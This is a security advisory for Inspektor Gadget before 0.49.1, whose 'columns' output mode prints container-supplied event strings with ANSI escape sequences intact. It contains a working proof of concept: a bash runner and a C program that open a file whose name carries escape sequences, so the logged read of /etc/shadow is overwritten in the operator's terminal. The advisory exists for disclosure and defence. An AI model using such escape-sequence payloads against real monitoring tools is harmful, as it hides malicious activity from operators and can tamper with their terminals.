GHSA-34r5-6j7w-235f Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

• Go github.com/inspektor-gadget/inspektor-gadget: < 0.49.1 → fixed in 0.49.1

Description String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects. The `columns` output mode is the default when running `ig run` interactively. PoC Attachments run.sh ```bash !/bin/bash set -e SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" CONTAINER_NAME="poc-escape-inject" echo "Make sure ig is running in another terminal:" echo " sudo ig run trace_open -c ${CONTAINER_NAME}" echo "" echo "Press Enter to continue..." read -r sudo docker run --rm \ --name "${CONTAINER_NAME}" \ -v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \ gcc:latest \ bash -c " gcc -o /tmp/escape_inject /src/escape_inject.c && \ /tmp/escape_inject " ``` escape_inject.c ```c include include include static void read_file(const char *path) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } static void create_file(const char *path) { int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd >= 0) close(fd); } int main(void) { printf("[1] normal activity\n"); create_file("/tmp/app.log"); printf("[2] malicious read of /etc/shadow\n"); read_file("/etc/shadow"); usleep(300000); printf("[3] tampering the log\n"); create_file("/etc\x1b1A/bashrc\x1b[1B\x1b[13C"); usleep(300000); return 0; } ``` 1. Setup a Linux host and build/install `ig` version `0.48.0` 2. Run the attached `run.sh` on a terminal 3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal 4. Press "Enter" on the terminal attached to `run.sh` 5. Observe the events traced by `ig` 6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection Impact The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output. At the very least, the injection can be used for [Log Injection, by inserting new lines or deleting existing ones. However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to: • lead to DoS (Denial of Service) • write to the system clipboard • create hyperlinks to attacker-controlled servers • change window title • potentially execute code (see referenced resources) Resources • https://www.youtube.com/watch?v=spb8Gk9Z09Y Notes The `json` output mode was already sanitizing the content.